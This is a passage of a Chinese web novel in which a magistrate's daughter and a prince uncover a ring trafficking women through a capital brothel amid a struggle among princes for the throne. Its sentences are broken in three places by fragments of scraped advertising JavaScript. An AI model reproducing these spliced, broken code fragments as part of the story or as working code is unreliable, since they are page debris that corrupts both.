跟着徐清弯弯绕绕走了许久,终于看到了一点光。 二人停了下来,看着不远处微弱的光和人影,二人微微屏住呼吸。 徐清转头,和沈祁对视。须臾,沈祁微微摇了摇头。 徐清蹙着眉,又看了眼不远处的房屋,二人慢慢从林间退了出去。 转身那瞬,余光中徐清似乎瞥见一个人影,但密林间连月光都被遮住,她停住试图看清那是不是个人。 可周遭安静,一切皆难察。 少顷,她又转身跟上沈祁。 13. 十三 缘尘女(陆) 回到地道口,又弄了点土在那木板上,试图掩盖他们二人来过的痕迹后,二人快速原路返回。 再次来到那岔路口时,徐清把身上那件艳丽的衣裙挂在了那窄小的通道石壁上,又拽了拽裙摆,将一小片艳色拖到烛光下。 沈祁深深地看了她一眼,在寂静的密道里出声,“你可知这条密道是做什么的?” 徐清往那条烛火照映的宽阔许多的道上走了几步,确保走这条路的人可以看见那件衣裙。 又回到那裙子边,抬手往边上棱角锋利的石壁上一划,刹那间,石壁上留下暗红的血迹。 徐清将还在滴血的手置于衣裙上方,让艳丽的衣裙上留下鲜红的血迹。 “有些人,既想风流,又想做君子。”徐清说着,挑眉看向沈祁。 沈祁也笑,目光看着徐清还在滴血的手,烛火照映着他的面颊,一明一暗,“你既知晓,将这衣裙淋上血放在这又有何用?” 这衣裙放在这,是希望有人能发现这另一条密道。 但那些既想风流,又想做君子的人,就算看见了这件衣裙,为了自己在外的名声,也不会张扬。 徐清见裙摆上的血差不多了,将还在流血的手往那衣裙的胸口处抚了一把,用那布料止了止血。 那衣裙的胸口处绽开一朵血花。 她转身,“谁说的要让那些伪君子见着?” 那些个伪君子虽不会张扬,但亦不会动这衣裙。 现下要做的,便是在那些人发现时,让官府朝廷那边的人发现这条密道,这样,真相立刻大白。 但若来不及,这沾了血的衣裙就拿来吓一吓那些作恶的人。 希望他们午夜梦回时,不要忘记有多少可怜无辜的女子,因他们的一己私欲,而坠入深渊。 沈祁似是懂了她的意思,没再多说,二人随即返回了缘尘楼。 这回,二人既没有跳窗,也没有再装作浪子和青楼女子,而是各自运功,躲开人,出了缘尘楼。 “徐四姑娘不是不会武功吗?”沈祁揶揄的声音从身后传来。 徐清转过身不避不让地对上沈祁的目光,“是啊,不过想着要与王爷合作,为了不拖王爷后腿,臣女连夜学的。”说罢微微一笑。 临分别时徐清突然想到白日里大理寺的人在河里捞人,于是问沈祁:“大理寺是不是不太干净。” “是。”沈祁沉声应道。 见沈祁给了肯定的答案,她垂下眼睫,发丝在夜色里被风扬起。 “那趁着这次,好好洗一洗。” “这世间藏污纳垢,若连维系礼法,除奸惩恶的大理寺都不干净,我朝百姓又如何安居乐业呢?” 徐清道。 话毕,她便招了招手,转身离开。 沈祁看着她离开的背影,怔了怔,须臾,在夜色里垂头轻笑了声。 徐清回到兰府,又悄悄地沐浴了一番,将身上的尘土洗去,方觉得舒适许多。 歌瑾为她将伤口又细细包扎了一通。 “小姐下回小心些,不然下回就让我去算了。”出口的话里带着些埋怨,“这疤都还没消呢。” 她指的是上回在江南洪水里救人时被那破了的瓷瓶开了的口子。 其实只剩一道极淡的疤痕,几乎已看不出了。 徐清好笑,用没受伤的手捏了捏歌瑾的脸蛋。 “小姑娘碎碎念念的,怎么像个老婆婆一样。” 歌瑾低着头,小心的缠上布条,不应声。 过了会儿,把伤口彻底包扎好后,歌瑾将方才徐清出门后收到的消息告诉徐清。 “查到了,陈家小公子未死,许是陈家为了让他躲避风头,此时他正在郊外的一处庄子里。” 徐清闻言扬了扬眉梢,以假死躲风头,这便是打算以后都不呆在京城了。 不过也是,这陈家小公子在京城作恶多端,本就在京城留不得,如今若是远走他乡,倒还能留一条命。 加上他爹本就是京城高官,他纵使在异乡,也是不愁吃穿的。 至于为何不立刻送走,许是知晓最近圣上在盯着陈家,便也还不敢派人出去。 徐清垂眸沉思了会儿。 这陈家与拐女案到底有没有联系呢? 隔壁,徐妗屋。 夜深了,寻竹和她的贴身婢女椿欢歇在了外屋,徐妗躺在榻上,在一片寂静中忽的睁开眼。 她起身,披了件外袍,走到窗旁,推开。 夜间的风带着巨大的凉意,她拢了拢外袍。 “她回来了吗?” 夜色里徐妗轻轻出声。 一道黑影忽的出现,在徐妗面前行了一礼,给了徐妗肯定的答案。 徐妗点点头,沉吟片刻,对着黑影摆了摆手。 “好,你去休息吧。” 那黑影又行了一礼,转眼不见。 旭日东升时,徐清徐妗去前厅同兰家人一同用了早膳。 徐妗眸光微沉地看了看徐清缠了布条缩在袖中的手。 须臾,垂下眼睫,掩住眸中神色。 前朝。 上首一袭明黄龙袍的,正是当今圣上。 百官垂首在大殿两侧,几位已弱冠的皇子站在最前。 皇帝将折子展开,放在案上。 开口的声音带着上位者的威压。 “近日,多地上折子给朕,道是有许多女子无故失踪,诸位爱卿,如何看?” 刑部尚书宋萧站出来,“微臣以为,若只是某地有女子失踪事小,但多地有多名女子失踪,怕是不简单,望陛下彻查。” 皇帝目光看着弯着腰的宋萧,又扫了眼位置靠前的几家大族,最后目光落在沈祁身上,不辨情绪。 大殿内沉寂一瞬。 最后,皇帝沉稳的声音从上首传来。 “宋卿所言甚是。” “盛王,朕将此事交予你,莫让朕失望。”在大殿中央弯着腰的宋箫听到这句话,执着象笏的手猛地用力了几分。 而另一边沈郗站出来,手执象笏站出来,垂首领下了这差事。 “儿臣定不辱使命。” 下首的沈祁沈瑜沈桉沈硕四人垂着眼,神色难辨。 最后,沈祁微微勾了勾唇角,有些自嘲之意。 下了朝,一众官员穿着朝服走出大殿,宋萧自身后追上沈祁沈瑜二人。 “王爷。” 沈祁和沈瑜二人同时转身。 不待宋箫开口,沈祁仿佛就已知晓他想说什么,只见他摆了摆手,笑道,“无事,这本就不是你我能够左右的,你无需自责。” 宋箫闻言沉默下来。 沈祁伸手拍了拍他的肩,“我要去大慈恩寺,就不与你多说了。” 说罢,他放下手,一旁的沈瑜笑着向宋箫凑近了些,“他自有他的打算,他既说无事便无事,这点小事也无需去争,往后还有的争的时候,我们暂且韬光养晦。” 宋箫点点头,紧绷的面色缓和下来。 回到静王府换了身常服后,沈祁独自一人前往大慈恩寺。 算来,淑妃在大慈恩寺已经住了近十年了。 如今一身素衣,看起来有如佛僧般,对世间万物都带着些悲悯。 但细看,周身环绕的气质又是淡漠的,仿佛万物都不曾入眼入心。许是这些年在寺里吃斋念佛,早已遁入空门。 唯见到沈祁和沈瑜,才觉她柔和许多。 柳闻依亦是一身素衣,为沈祁添了杯茶。 “多谢。”沈祁轻声道。 柳闻依抿唇一笑,“表哥不必如此客气。” 淑妃柳青烟抿了口茶,让柳闻依去歇歇,柳闻依福了一礼,退了出去。 柳闻依走后,柳青烟眸光柔和地看着沈祁,细 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 看还可看出这目光中带着些怀念。 沈祁对上她的目光,顿了顿,开口唤人,“姨母。” 淑妃笑着应了声,手中不自觉地捻着佛珠。 “许久没见你,又瘦了许多。” 沈祁闻言失笑,每逢他来,淑妃定说他又瘦了,这么些年,真次次都瘦了,他早就瘦成竹竿了。 “姨母,您每次都这么说。”语气中有些无奈。 柳青烟柔和的眸光中带着些担忧,“姨母总觉得你们兄弟二人每次来见我都瘦了,若是我还在宫里……”说到此处,忽然顿住。 沈祁面上表情不变,只是眸光变得凌厉起来,“姨母莫担心我们,该是我们的,自然都是我们的。” 柳青烟目光在沈祁面上又描摹了一番。 恍惚透过他,又看到了自己的妹妹,那个死在深宫里的可怜人。 可怜人。 她自己又何尝不是个可怜人呢。 柳青烟笑了笑,却是带着些讽意。 “听闻他给你们兄弟二人赐了一桩婚?” 沈祁蓦地想起徐清,笑了下,应道“是。” 柳青烟点了点头,“若有用便利用起来,若无用也别碍了事。” 沈祁应了声。 姨甥俩无言了片刻,寺外鸟鸣阵阵。 而后,沈祁随柳青烟拜了拜佛。 “佛祖在上,愿吾儿沈祁沈瑜,平安喜乐,事事顺心。” “愿恶人下十八层地狱,万劫不复。” “愿吾兄柳青祥吾甥柳闻卿仕途顺遂。” 柳青烟跪在佛像跟前,双手合十,虔诚地祈愿。 沈祁跪在她身旁,抬首直视那半垂眼眸,目含悲悯的佛像。 他在心中默念。 “佛祖在上,一愿吾母柳青瓷来世康健喜乐,免受苦楚。” “二愿所谋之事,事事顺利。” “三愿……” 三愿什么呢? 沈祁垂下眼。 “三愿,所爱之人,皆安乐。” 黄昏洒满大地之时,沈祁准备离开。 柳青烟留他在寺里住一夜,沈祁拒绝了,柳青烟便没再多留,送他到寺门口。 “祁儿。”柳青烟唤他。 沈祁停住,看着她,目光沉静。 柳青烟执起他的左手,将自己手腕上的佛串套在沈祁的腕上。 “这条佛串我戴了近十年,佛气极重,今日赠你,前路未明,佑你安康。” 沈祁怔了怔,垂眸看着腕上的佛串。 “多谢姨母。” “夺权这条路上危机重重,杀孽难免,愿佛祖保佑,免了吾儿的罪孽。” 柳青烟垂眸看着缠在沈祁腕上的佛串,轻声道。 沈祁打马走在回府的路上,黄昏的光洒在他身上,像是沐浴着火光。 他想起来下朝后,来大慈恩寺前,他父皇留下他,让他继续查陈家。 他自然知晓他那英明神武的父皇在想些什么。 无非就是希望他能查到陈家足以灭族的证据,陈家是他二哥沈桉的羽翼。 若是因他而折掉了沈桉一翼,这足以让他和他二皇兄先狗咬狗一番。 如今又让那宫女之子去查案,无非就是想在真相大白之时,那宫女之子可以承着这份功劳,享民心。 他父皇所做的一切,无非都在为那宫女之子铺路。 他的父皇啊,早就作出了选择。 黄昏过后,夜色慢慢布满天空。 沈祁就在这寂静的暗夜里,忽的高声笑出来,笑到最后,眼角都带了泪。 可是,父皇,结局还没定呢。 这皇位最后会在谁手里,可不一定啊。 沈祁勒了马,遥遥地看了眼巍峨的皇城。 这深深的宫闱困杀了他的母后,也自然能困杀其他,住在里头的人。 14. 十四 缘尘女(柒) 白日里,沈祁在大慈恩寺陪着淑妃时,另一边的徐清悄悄从兰府溜了出来。 此时,春涧居茶楼内,徐清一袭绿罗裙端坐着,面前是一男子,着一身劲装,眉眼如剑,整个看起来十分锋利,但又因年纪不算大,又有些少年侠气。 煮茶的雾气在二人之间浮起又散开,室内一时安静非常,只有水沸的声音。 “我知道你,”面前的青年率先开口,“你是江南总督徐大人之女,徐清。” 徐清闻言笑笑,将煮好的茶斟了一杯放在那青年面前,又斟了一杯放在自己面前。 她端起茶,轻抿了一口,“公子难道不知,在与人交谈时,应先自报家门,而非直点对方为何人。” 那青年沉默了一瞬,而后又郑重其事道,“在下周惊山,浪迹天涯的粗人一个,听闻江南富商许家的女儿丢了,那夜在密林中见得姑娘,想必姑娘是去寻友人的吧?” 徐清闻言,微垂了冷眸,没有应声。 周惊山也不在意,继续道,“许姑娘丢的那日我见到她了,我本想出手救下许姑娘,奈何对方人多,我毫无胜算,便一路悄悄跟着,看看是否有机会救下许姑娘。” 这下徐清抬起了眼眸,定定地看向周惊山。 “这一跟便一路从江南跟到了京城。” “这段时间,我日日守在那院子附近,偶尔听到他们那些人的交谈,大概知道了,他们是从各地拐来女子,一部分送去各地的青楼,他们口中的据点,一部分姿色更不错的送来京城,再留一部分姿色最上乘的,专门送给达官贵人们做赠礼。” 听到这,徐清拿着茶杯的手猛地攥紧茶杯。 随后,她便听见周惊山说出了她心中猜测到的—— “许姑娘此时便还在那院子里。” 看着徐清不太好的面色,周惊山补充道,“不过那院子里都是专门送给达官贵人们的,在那儿的暂时没有危险。” 闻言,徐清吐出一口浊气,“你可知有多少姑娘被送出去了吗?” 周惊山摇摇头,“他们刚到京城不久,目前暂未有女子被送出。” 徐清点点头,又垂下眼睫。 目前还未有女子被送出,不代表那些女子就真的安全了,她得加快了,先前肯定还有许多女子被当做玩物送给那些达官贵人,她们的踪迹已经追查不到了,但此时还在那院子的,必须一个不漏的救出来。 不仅如此,还要捣毁他们所有的窝点,让他们再做不成这勾当。 徐清想着,又听到周惊山的声音,带着郑重,“姑娘聪慧过人,我相信姑娘有办法,若有需要在下的地方,尽管直言。” 她抬眼看去,青年人的眉眼间尽是正气。 眸光几变,她垂了眼,唇边勾了抹笑。 “确有一事,需要公子相助。” 回到兰府,歌瑾将今日早朝时皇帝的旨意告诉了徐清。 按照原先的计划,今夜,徐清是要派人带走缘尘楼今夜准备接客的几位姑娘的,然后着人将这事儿闹大。 可当她收到皇帝命盛王沈郗办理这个案子时,她忽然不想按这个计划走下去了。 她和沈祁是握着答案写卷,他们只需要找到证据,或者让朝廷和大理寺发现答案即可。 但沈郗需要从头找,既然这份功劳不在她和沈祁身上,那便不能白白便宜了沈郗。 徐清承认她有时候确实自私,一点儿也不愿做利人弊己的事。 夜里,徐清换上暗色的衣裙,悄悄出了门,却未注意到,她离开后,又一道身影悄悄从兰府的偏门离开。 徐清来到静王府外,踌躇了一下。 须臾,她避开暗卫,翻过了府墙,顺着记忆,来到了静王府的书房。 沈祁此时恰在书房。 他从大慈恩寺回来后,便一直在书房练字,满地都是沾了墨水的宣纸。 徐清礼貌地敲了敲门。 沈祁以为是下人有什么事禀报,便沉声吐了个“进”字。 徐清推开门,沈祁感觉不对,抬头看去,恰对上徐清的目光。 他眸色震惊了一瞬,下一刻便带上了杀气。 徐清出现的悄无声息,整个静王府的暗卫,无一人察觉。 徐清瞬间就感觉到了杀意,脑海里刚闪过‘来得是不是太贸然了’的念头,下一瞬,一支沾了墨的毛笔便迎面而来。 徐清迅速抽出腰间的折扇挡了一下,笔拐了个方向,卸了力道,落在地上。 扇面上落下点点墨迹。 二人还一句话没说,书房内的气氛一瞬间便剑拔弩张起来。 沈祁站在桌案后面,直起腰,打量深夜到访的徐清。 今夜她未穿夜行衣,只着了一身深色衣裙,腰间和裙摆处绣着盛开着的芙蓉花的纹样。 三千青丝绾了个不同于昨夜,却也简单的发式,不过多了两根玉簪。 简单的装束看起来竟有几分贵气。 许是因为刚刚的动作,额间落下了几缕青丝,眸中神色几经变化,有些被吓到的惊,又有些懊恼,面色都不太好看。 沈祁面色顿了顿,想问她怎么来了,嘴都还未张开,就听到面前这姑娘的道歉。 “抱歉,”徐清收了扇,“贸然前来,唐突了。” 沈祁一愣,许是在江南时就知道她会武功,所以在她避开整个静王府的暗卫进来的时候,他也只是一开始惊了下,便将手上那只笔掷了出去。 后来迅速冷静下来,想来徐清深夜到访应是有事,却不想徐清先道了歉。 沈祁一时不知该如何应她。 好在徐清道了歉也不在意,扫了一圈地上的宣纸,后抬眸看向沈祁。 “我听闻陛下让盛王负责女子失踪案。” 沈祁应了一声,给了肯定的答案。 “是。” “你怎么想?” 徐清瞧着沈祁,话出口后忽然觉得自己是不是有些僭越,太冒犯人了。 不过沈祁似乎并不在意,他走到另一处桌案,抬手执壶倒了杯茶。 出口的嗓音也淡漠,“我该怎么想?” 说着,端起那杯茶递给徐清。 徐清抿了抿唇,接过了那杯茶,凉的。 她抬眸对上沈祁的淡漠的眼,不知为何又在那眼中窥见一丝难过和怨。 陛下想把这功劳给盛王,想让盛王拥有民心。 这句话卡在徐清的喉咙里,怎么也说不出了。 但沈祁似乎懂了她的意思。 他轻笑了声,撩 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 袍坐下,“无所谓,若这些女子都能获救,往后也不会有女子再陷入此种境地,世间的父母不会再失去女儿,这功劳是谁的,不重要。” 徐清一怔,随后走上前,将茶水又递回去给他,面色严肃,“重要的,若这功劳本该是你的,本该受百姓称赞的人是你,这功劳,这民心又为何要拱手让人?” 沈祁闻言先是一怔,抬首对上徐清的眸子,须臾,他笑了下。 夜晚的风拂过窗外的桂花树,带下了枝头的白,星星点点地落在了窗台上,沁了满室馨香。 他抬手又接回那茶杯,指尖对上徐清的,有暖意传来。 最后徐清派人去将那位向她求救的女子带了出来。 与原计划不同,她不打算徐徐图之了。 若是许多人一同消失,那么目标很快就会对准缘尘楼,但若只有一人,这件事便还把握在大理寺手中,毕竟徐清那夜扔下去的艳丽衣裙,大理寺还没在河里打捞到人呢。 可是,一个人的消失也是很容易被忽略被隐瞒的。 所以他们得换种方式把事情闹大,并把主动权握在手里。 此时,徐清和沈祁一身玄色衣袍,站在京城角落一处简陋的院子里。 面前是那夜写下‘救救我’字条的女子,她的旁边,是一身黑衣的窈音。 那姑娘像是被吓到了,在看到徐清沈祁二人后眼神一亮。 窈音弯腰行了一礼,道:“小姐,事情办妥了。” 徐清嗯了一声,“辛苦了。” 窈音摇摇头,又一俯首,退到了她身边。 那姑娘明白过来,昨夜买下她初夜却未碰她的那位确实是眼前这二人派来的,便赶忙跪地叩首,“萍娘感谢二位恩人的大恩大德,此后做牛做马,莫敢推辞。” 徐清上前扶起她,柔声道,“不用你做牛做马,不过我们确实还需要你,毕竟恶人还未伏法。” 那名唤萍娘的姑娘已十分信任他们,一口答应下来,“恩人需要我做什么?” “什么都不需要做,”徐清从窈音手上接过一套颜色素淡的衣裙,递给萍娘,“只需要你先都待在此处,不要离开,也不要让人发现你,待事情结束,恶人伏法,便可离开。” 顿了顿,徐清嗓音柔下来,带这些安抚意味:“这很安全,别害怕。” 二人随后又来了缘尘楼。 不过这次他们却未进去,二人去到了缘尘楼对面的河倾酒肆,今夜,他们是来看戏的。 好戏开场前,沈祁问徐清,若这功劳不让当如何。 徐清将目光移到他脸上,直直地盯了他一会儿,像是看穿了他的故意戏弄。 沈祁被看得有些不自在,微微敛了笑。 “我记得王爷先前说过,你最近在办一件事,臣女斗胆猜测,该是陈家公子缘尘楼误杀人一案。” “王爷说,这件事似乎与女子失踪案八竿子打不着,若让这两件事有了干系,王爷先找到了证据,陛下又能如何。” 说罢,徐清不知何时拿了一叠文书在手上,在沈祁深沉目光的注视下,她将文书放在面前的桌案上。 这些是松枝查来的证据。 徐清与沈祁对视着,语气平静,“我想,王爷那,应当也是有些证据的吧。” 15. 十五 缘尘女(捌) 沈祁这会儿彻底敛了笑,开口刚想说什么,那边的好戏就已经开了场。 一布衣男子冲进缘尘楼,大声喊,“陈锌昀!你出来!你以为你假死便能逃过罪责吗?你仗势欺人,无故滥杀百姓!你罪无可恕!” 徐清目光又移向那边,唇边勾起一抹笑。 那边,原本舞乐齐奏、热闹非凡的缘尘楼一瞬间安静下来,又在下一瞬间响起窃窃私语。 老鸨急急忙忙带着几个大汉跑出来,嘴里吐出的话还带着三分媚意,“哎呀!这是哪里来的挨千刀的,成心破坏我生意嘛这不是!快把这挨千刀的给我轰出去!” 那布衣男子嘴里还嚷嚷着,仿佛被那老鸨带来的大汉打得四处逃窜,实则是灵活地躲过那几个大汉的追打,那几个连他的衣角都没挨到。 这缘尘楼本就是风月场所,这儿不仅有达官贵人,亦有平头布衣。 许是在场也有曾被陈锌昀欺压过的平头百姓,窃窃私语中有几声粗犷的嗓音。 “这天杀的陈锌昀,我也不信他就这么无缘无故地死了!” “说不定就是作恶太多,真被人……”说这话的人比了个抹脖的动作。 “那可是陈家的小公子,他若真被人怎么样了,陈家会放过那人吗?我也不信陈锌昀死了。” “……” 诸多言论在楼里响起。 那老鸨似是没想到一个莫名出现的布衣竟在楼里引起了这么大的波动,面上不免慌乱。 可千万别因此影响到主子的计划啊。 老鸨心中想着,面上更加焦虑。 面前这人许是也曾被陈锌昀的势欺压过,却又碍于陈家,于是便带着这一腔愤懑不平到她缘尘楼来闹事。 说白了,骨子里也是欺软怕硬的货色。 想到这,她面色又露出带着娇媚的笑,让追打那平头布衣的大汉们停下来,自己扭着腰肢靠近那布衣。 虽说她是这缘尘楼的老鸨,她却一点都不老,同这楼里的姑娘也是一般的如花年纪,一颦一笑媚意横生。 那布衣瞧着他靠近,面色一滞,那老鸨贴上他时就感觉到了他的僵硬。 她羞涩一笑,笑里又带着些果然如此的意思,“这位官人,我们缘尘楼就只是做生意的地方,可不敢管达官贵人们的事儿啊,你就心疼心疼奴家,别砸了奴家的场子嘛。” 那布衣像是被勾到了,面色涨得通红,那老鸨见了刚想再凑近些冲他的耳垂吐气,好把他带离这人多的大堂。 却在下一瞬被布衣推倒在地,她倒地时满脸错愕。 “我就知道!你们这就如同吃人的魔窟!不仅纵容达官贵人大庭广众之下打死平头百姓!还从天下各地拐卖女子,逼良为娼!” 那布衣的语气恶狠狠的,声音巨大,振聋发聩。 在场的人静了一瞬又窃窃私语,不过这次倒没有先前那么大声。 徐清眨眨眼,眸底满是淡漠。 或许除了女子,再无人能共情那些被带离故乡,去他乡被逼着卖身的女子了。 又或许是,这楼里的男子们本就是来寻欢作乐的,他们不在乎这些女子从何而来,是否自愿,他们只在乎自己能否在这登得极乐。 在如今这世道,女子如水中浮萍,在男子眼中是玩物,是傀儡。在父母眼中,女子是迟早要泼出去的水,是可以换取钱财的物品。在所有人眼中,女子都不过是男子的附庸。 太卑微了。 太没有地位了。 太可悲了。 徐清想着,不自觉地又笑出声,勾起的唇角满是讽意。 对面的沈祁看过去,眸色沉了沉。 缘尘楼里。 那老鸨还怔愣着,楼里除了那些男子的窃窃私语外,开始出现女子的低泣。 两种声音交织在一起,落在沈祁的耳朵里,他似乎一下子就明白了徐清脸上那股讽刺为何意。 许是刚刚那布衣的话传了出去,盛王竟带着人深夜里来到了缘尘楼。 听到女子低泣的老鸨回过神来,赶忙从地上爬起来,满脸怒气,让那些大汉把那布衣赶出去。 大汉又重新追打那布衣,布衣往门外跑去,恰撞上沈郗一行人。 气氛僵持了一瞬,不知谁突然大喊了一句:“陈锌昀在那!” 大家似乎都反应过来,今夜注定不太平,楼里一瞬间骚乱起来。 那布衣趁乱没入在混乱起来的人群中。 沈郗瞧着他的身影消失在楼中,紧皱着眉头,朗声吩咐身边的侍卫,“别让那人跑了,抓住他。” 毕竟那人说出了‘从天下各地拐卖女子’这句话,或许那人知道些什么,他便可从这下手。 但沈郗忘了,这缘尘楼里的人本就鱼龙混杂,他一声高喊让本就骚乱的人群更加动乱。 远处的徐清沈祁二人就坐在那酒肆里,饶有兴致地瞧着这边的闹剧。 忽然,在混乱的人群中,徐清瞥见了一抹熟悉的身影,她面上的笑意一滞。 她起身那刻,沈祁按住她的手,“你做什么?” 她回过头瞥了眼沈祁,又立刻转回头去人群中找那抹熟悉的身影。 下一刻,她抽出手,嘴里快速吐字,面上露出焦急的神色。 “我好似看见我……,我得去瞧瞧,你就继续按我们计划的那样。”说完她快速转身准备下楼。 跑到楼梯处时,她似乎想到什么,停下步子,回过头,柔顺的青丝随着她的动作轻轻扬起,而后又乖顺地落回她的肩背上。 沈祁听见她说: “这功劳本就是我们的,但这世道不许女子出现在功德簿上,所以这功劳烦您替我的那一份,先一并承下来。” 说完,她便匆匆下了楼。 脚步声慢慢消失,沈祁望向楼下,徐清的身影再出现时,她的面上蒙了一层薄纱,遮住了她的面容。 他盯着那道倩影,须臾,笑了下。 行吧,他本不想这么早就露出锋芒,引得他那父皇和他那些个皇兄的注意,但徐清如此说,他便承下这功劳。 反正那终局,他都是要胜的,这史书上,还是留他这笔功德吧。 若是他坐上了那位置,他必定会…… 他盯着那道在人群中穿梭的倩影,耳边还是她方才说的话。 若是他坐上了那个位置,必让这世道也给女子一片天地。 缘尘楼那边。 徐清带着面纱穿过骚乱的人群,在一阵推搡过后,准确无误地抓住了同样带着面纱的徐妗的手腕。 后者一惊,抬眸看过来,对上徐清沉沉的视线后怔了一瞬。 而后,二人沉默地一同走出缘尘楼,在踏出那道门的那一刻,身后的人群里传来了惊恐的叫声。 “杀人了!血!” 徐清没有回头,抬眼看向对面的酒肆,二楼已没了沈祁的身影。 她拽着徐妗的手腕,在夜色里回了兰府。 徐清没问徐妗怎么会出现在缘尘楼,同样的,徐妗也没问。 这或许也是徐家姊妹的一种默契。 徐清站在门外,看着徐妗进了屋子。 从二人在缘尘楼见面,再到回到兰府,二人都未与对方说过一句话。 徐清在徐妗进屋后,又往缘尘楼的方向望了一眼,随后又从偏门悄悄出去。 而缘尘楼这头。 陈锌昀倒在血泊里,眼睛死死地瞪大,眼底还留着些惊恐。 而拿着长剑的沈郗则站在原地,看着血泊里的陈锌昀呆滞了一瞬,而后皱起眉头看向四周,仿佛在寻找什么。 他本是看见了那布衣便匆匆追了上来,但缘尘楼里人实在多,骚乱起来根本不受控制,他一阵烦躁时便想抽剑震慑一下人群,好让他们冷静下来。 可没想到,他刚抽出剑,便感觉一股力撞了他一下,他不受控地往前趔趄了一下,就这一下,待他反应过来时,陈锌昀已倒在了他眼前,而手上的那把剑染上了鲜血。 回过神来,手中的那把还滴着血的长剑被他丢在地上,发出一声清脆的声响。 那声响将还在缘尘楼里的人惊了一下。 无人注意到,一布衣男子悄悄地垂首离开。 动静实在太大,甚至出了人命,大理寺卿王寒辰匆匆而来。 他见到沈郗先行了一礼,看见倒在血泊里的陈锌昀也是惊了一下。 脑中掀起风暴,一时不知该如何处理。 最后只得派人先将缘尘楼封起来,把陈锌昀的尸首带回大理寺,又派了个人往陈府递信。 而另一头,沈祁在徐清拽住徐妗的手腕时便已带着大理寺少卿云思起和大理寺的人进入那天他和徐清一同走过的密道。 这时的叶家和刘家才刚刚收到有人在缘尘楼闹事并高喊‘拐卖女子’‘逼良为娼’的消息。 沈祁和云思起等人看见那件昨夜徐清留下的带了血的衣裙时,忠文侯和忠义伯才刚刚匆忙穿好衣物。 一行人艰难穿过密道并走进林子里时,两边才刚刚派出人准备销毁证据。 几方不同的动静最终的结果就是,陈锌昀死在了盛王沈郗的剑下,而得知小儿子死亡消息的尚书令陈尚海悲痛万分,但也由此知晓了皇帝在查陈家并意欲除掉陈家,故而他只得忍下悲痛,却也从此记恨上了沈郗。 而沈祁那边,在郊外林子里,大理寺少卿云思起和大理寺等人抓住了还未来得及收到消息的那伙人,并解救出了还关在那处院子里的姑娘们。 徐清趁着大理寺的人抓人时偷偷带走了许钰,走时一偏头恰对上沈祁的视线,看见沈祁对她笑了一下,她一愣,脚下的步子一顿,随后便带着许钰头也不回地离开了。 她将许钰带到了安置萍娘的那处院子。 这一夜发生了太多事情,以至于那萍娘还睡下没多久就看到了去而复返的徐清,还有她身边略显狼狈的许钰。 一晚上的折腾让徐清有些疲惫,天都快亮了,她需得快些回兰府。 她带着许钰来的路上已经问清了发生的事,也安抚好了许钰。 此时,她面容疲惫地看着萍娘,“萍娘,劳烦你替她梳洗一下,照顾一下她,我得走了,明日我再来。” 萍娘瞧着眼前恩人憔悴的模样,连忙答应下来。 “放心吧,这位姑娘交给我。” 徐清点点头,又向萍娘道了声谢,而后又安抚的拍了拍许钰的肩。 许钰与她从小交好,骨子里本身也是个无畏无惧的可人儿,如今遇了这么大的事儿,似乎也没吓着她。 在收到许钰表示没事的眼神后,她回到了兰府。 交代歌瑾将许钰已救出来,并在这两日送回江南的消息递回给江南那边后,便倒在床上睡了过去。 意识模糊前,她想起沈祁。 大理寺的人已经捉拿了许多涉事的人,大抵那边也没什么事儿了吧…… 而事实上,这夜京城的动静实在太大了,惊得皇帝也从榻上爬了起来。 此时御书房内,站着沈祁、沈郗、陈尚海和大理寺卿王寒辰及大理寺少卿云思起。 云思起将搜查到的证据递给公公,再由公公转交到皇帝手上,随后口述了今夜的搜查的经过。 口述完后,御书房内寂静,几人垂着首,一时间只有皇帝翻阅那叠证据的声音。 须臾,那叠文书被皇帝重重地摔在桌案上,随后他吩咐身旁的公公,去将忠义伯和忠文侯宣进宫。 在等待的时间里,皇帝的视线先是落在了沈郗和陈尚海身上,他看着二人沉吟了一会儿后,便将视线沉沉地落在沈祁身上。 即使低垂的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 头,沈祁也能感觉到落在自己身上的那道目光。 他知道接下来他会面对什么,无非是君王的质问和猜忌。 许是发生过太多次了,早已习惯了。又或是早就失望多次,并已不报希望了。此时的沈祁,在一丝烦躁之余又有些好奇,好奇他的父皇,究竟还会做些什么来抬高他的宝贝长子。 而一旁的陈尚海,在先前感受到帝王的注视时,身子不自觉地颤抖。 他已感知到帝王的杀意,但小儿子的死亡让他的心底除了害怕还有一丝决绝。 于是,在一片寂静中,他忽然上前一步,跪在地上。 “臣自知教子无方,才让犬子锌昀在京城作恶,如今死在了盛王剑下,也是其咎由自取,臣自知有罪,请陛下责罚。” 陈尚海着一身官府,跪地叩首,帝王未回应他的话,这令他本就在颤抖的身体抖得更加厉害。 沈郗是陛下与当今皇后的儿子,亦是陛下的长子,朝野上下皆知陛下十分宠爱当今的皇后,也爱屋及乌地宠爱长子沈郗。 所以即使他恨得不行,也必须将沈郗摘出去,将罪责揽下来,替帝王将这台阶奉上。 终于,在陈尚海的汗水一滴滴落下时,帝王发话了。 “陈锌昀既已死,也算是给他昔日欺压过的百姓一个交代了,朕便不再追究,爱卿平身罢。” 陈尚海松了一口气,掩去眸中的怨恨,又一叩首行礼,嘴里说着“臣,谢陛下!陛下万岁万岁万万岁!”,而后便起身站进了一旁的角落里。 此事了了后,忠义伯和忠文侯匆匆而来。 二人一进来便先行礼,本想装傻,却见上首的帝王,满脸冷意地将方才云思起递上的证据狠狠地掷在二人面前,开口的嗓音里压抑着怒火。 “你们二人可有何可说的?” 那文书被扔在地上,恰展开在二人面前,让二人可以清清楚楚地看见上面的内容。 叶刘二人脸色一白,赶忙跪地叩首,嘴里直喊冤枉。 帝王阖了阖眼,“证据就在眼前,竟还喊冤枉!” 话音刚落,他又猛地挣开双眼,眸色凌厉地看向叶刘二人。 “传朕旨意,将忠文侯与忠义伯压入大牢,交由大理寺审问!” 叶刘二人被禁军拖了出去。 御书房内又寂静了下来,帝王似是十分疲惫地闭上了眼睛。 过了好一会儿,几人才又听到帝王的声音,这会儿是连声音里都带着浓重的倦意。 “此番搜查证据,静王有功,朕会重赏!” 